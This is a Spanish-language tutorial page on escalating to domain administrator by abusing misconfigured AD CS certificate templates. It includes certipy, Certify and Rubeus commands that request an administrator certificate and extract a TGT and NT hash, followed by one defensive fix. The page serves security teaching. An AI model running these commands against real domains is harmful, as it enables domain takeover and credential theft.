Escalada

Abuso de AD CS Templates mal configuradas

Cómo un usuario de dominio normal pide un certificado a nombre de un administrador y toma control del dominio.

Qué es

Un AD CS Template mal configurado deja que cualquier usuario del dominio pida un certificado a nombre de otra identidad. El atacante pide uno como administrador del dominio y se lleva sus credenciales. La CA firma la solicitud como legítima.

Cómo funciona

La plantilla deja que quien solicita elija el nombre de la identidad (ENROLLEE_SUPPLIES_SUBJECT). Incluye un uso de clave (EKU) que sirve para autenticar en el dominio. No pide aprobación de un responsable ni firma autorizada. Y cualquier usuario del dominio tiene permiso de inscripción.

La CA no compara quién pide el certificado contra la identidad que reclama. Emite el certificado con el nombre que el atacante escribió. Con ese certificado y PKINIT, el atacante obtiene un TGT de la identidad elegida.

Diagrama

Comandos

Enumerar plantillas vulnerables desde Linux:

certipy find -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -vulnerable -stdout

Lo mismo desde Windows, con Certify:

Certify.exe find /vulnerable

Pedir un certificado a nombre de una identidad privilegiada:

certipy req -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -ca <CA> -template <TEMPLATE> -upn administrator@<DOMAIN> -sid <SID>

Lo mismo desde Windows:

Certify.exe request /ca:<HOST>\<CA> /template:<TEMPLATE> /altname:administrator

Autenticar con el certificado y recuperar el TGT y el hash NT:

certipy auth -pfx <FILE> -dc-ip <IP>

En Windows, con Rubeus y PKINIT:

Rubeus.exe asktgt /user:administrator /certificate:<FILE> /ptt

Cómo defenderse

Quita ENROLLEE_SUPPLIES_SUBJECT de la plantilla: sin esa marca, quien solicita ya no elige la identidad.

Siguiente

Puedes seguir leyendo aquí:

EscaladaAbuso de GPO (Group Policy Object)

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.